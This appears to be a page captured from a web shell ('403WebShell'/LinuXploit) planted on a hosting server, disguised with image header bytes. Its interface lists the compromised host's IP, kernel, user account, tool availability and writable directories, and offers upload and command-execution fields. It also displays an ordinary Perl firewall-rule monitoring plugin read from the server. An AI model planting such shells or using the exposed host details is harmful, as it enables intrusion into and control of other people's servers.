����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 18.119.0.207
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib64/nagios/plugins/extra/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/nagios/plugins/extra/check_firewall_rules
#! /usr/bin/env perl

use strict;
use warnings;
use Getopt::Long;
use JSON::PP   qw(decode_json);
use IPC::Open3 qw(open3);
use Symbol     qw(gensym);

use constant REFERENCE_FILE => '/etc/icinga2/plinc/fw_rules';

sub usage {
    print sprintf( <<"EOF", REFERENCE_FILE );
Usage:
$0 --backend iptables|nft [-i 'rule1' -i 'rule2' -i 'rule3'] [--save]
    -b|--backend    use the specified firewall
    -s|--save       save current rules to %s
    -i|--ignore     ignor firewall rule
                    support usage placeholder %%word (eq (\\S+\\h*)+ regexp)

Examples:
$0 -b iptables -i 'iptables -t filter -A custom-out -s %%word -d %%word -j ACCEPT' -i 'ip6tables -t nat'
$0 -b nft -i 'element inet filter tor %%word' -i 'set inet %%word tor'
$0 -b nft -i 'element inet filter custom-out6 %%word'
EOF
    exit 1;
}

my $type;
my $is_save;
my @criteria;

GetOptions(
    'backend=s' => \$type,
    'save'      => \$is_save,
    'ignore=s'  => \@criteria,
) or usage;

usage unless ( defined $type );

my $get_rules = {
    'iptables' => \&iptables_h,
    'nft'      => \&nftables_h,
}->{$type};

my @rules = filter_rules( \@criteria, $get_rules->() );
if ($is_save) {
    save_rules(@rules);
}
else {
    compare( load_rules(), \@rules );
}

sub compare {
    my ( $reference_rules, $actual_rules ) = @_;
    my %h;
    $h{$_}-- for @$reference_rules;
    $h{$_}++ for @$actual_rules;
    my @diff = sort
      map { $h{$_} > 0 ? "added  : $_" : $h{$_} < 0 ? "deleted: $_" : () }
      keys %h;
    if (@diff) {
        print "[Critical]: Firewall has changed\n";
        print "$_\n" for @diff;
        exit 2;
    }
    else {
        print "Checked rules: " . scalar keys %h;
    }
}

sub filter_rules {
    my ( $criteria, @rules ) = @_;
    return @rules unless @$criteria;
    my @regexps = map {s/\\\%word/(\\S+\\h*)+/gr}
      map {quotemeta} @$criteria;
    grep {
        my $rule     = $_;
        my $is_match = sub {
            grep { return 1 if $rule =~ /^$_$/ } @regexps;
          }
          ->();
        not $is_match;
    } @rules;
}

sub nftables_h {
    my @ruleset = @{ decode_json(`nft -js list ruleset`)->{nftables} };
    my %raw_rules_cache;

    my @tables = map { parse_nft_table($_) } filter_nft( 'table', @ruleset );
    my @sets
      = map { parse_nft_set_elements($_) } filter_nft( 'set', @ruleset );
    my @chains = map { parse_nft_chain($_) } filter_nft( 'chain', @ruleset );
    my @rules  = map {
        my $rule_name = "$_->{family} $_->{table} $_->{chain}";

        $raw_rules_cache{$rule_name} = join( "\n",
            @{ ( sec_run( 'nft', '-ats', "list chain $rule_name" ) )[0] } )
          unless defined $raw_rules_cache{$rule_name};

        parse_nft_rule( $_, $raw_rules_cache{$rule_name} );
    } filter_nft( 'rule', @ruleset );

    return ( @tables, @sets, @chains, @rules );
}

sub filter_nft {
    my ( $key, @ruleset ) = @_;
    return map { $_->{$key} }
      grep { defined $_->{$key} } @ruleset;
}

sub parse_nft_table {
    return "table $_[0]->{family} $_[0]->{name}";
}

sub parse_nft_rule {
    my ( $rule, $raw_rules ) = @_;
    my ($raw_rule) = $raw_rules =~ /\s*(.+) # handle $rule->{handle}\s+/;
    return "rule $rule->{family} $rule->{table} $rule->{chain} $raw_rule";
}

sub parse_nft_chain {
    my ($chain) = @_;
    my @parsed_chain = map {
        my ( $key, $value ) = %{$_};
        defined $chain->{$key}
          ? sprintf( $value, $chain->{$key} )
          : ();
    } (
        { family => '%s' },
        { table  => '%s' },
        { name   => '%s {' },
        { type   => 'type %s' },
        { hook   => 'hook %s' },
        { prio   => 'priority %s;' },
        { policy => 'policy %s;' },
    );
    return "chain @parsed_chain }";
}

sub parse_nft_set_elements {
    my %parser = (
        prefix  => sub {"$_[0]->{addr}/$_[0]->{len}"},
        elem    => sub { $_[0]->{val} },
        range   => sub { join '-', @{ $_[0] } },
        _string => sub { $_[0] },
    );
    return map {
        my $set      = $_;
        my $set_name = "$set->{family} $set->{table} $set->{name}";
        my @elements = map {
            my ( $key, $value )
              = ref $_ eq 'HASH'
              ? %$_
              : ( _string => $_ );
            "element $set_name " . $parser{$key}->($value);
        } @{ $set->{elem} };
        ( "set $set_name", @elements );
    } @_;
}

sub iptables_h {
    map {
        my $x = $_;
        open FH, '<', "/proc/net/${x}_tables_names" or die $!;
        my @tables = <FH>;
        chomp(@tables);
        close FH;
        map {
            my $table = $_;
            my ($ruleset) = sec_run( "${x}tables", '-t', $table, '-S' );
            map { "${x}tables -t $table $_"; } @$ruleset;
        } @tables;
    } qw(ip ip6);
}

sub save_rules {
    my @rules = @_;
    open( my $fh, '>', REFERENCE_FILE ) or die $!;
    chomp @rules;
    print $fh "$_\n" for @rules;
    close $fh;
}

sub load_rules {
    open( my $fh, '<', REFERENCE_FILE ) or die $!;
    my @rules = <$fh>;
    close $fh;
    chomp @rules;
    return \@rules;
}

sub sec_run {
    my ( $cmd, @args ) = @_;
    my $pid = open3( undef, my $out, my $err = gensym, $cmd, @args )
      or die "$!";
    my @stdout = <$out>;
    my @stderr = <$err>;
    close $out;
    chomp @stdout;
    close $err;
    waitpid( $pid, 0 );
    die "Failed run: $cmd @args\n@stderr" if $? >> 8 != 0;
    return ( \@stdout, \@stderr );
}

Youez - 2016 - github.com/yon3zu
LinuXploit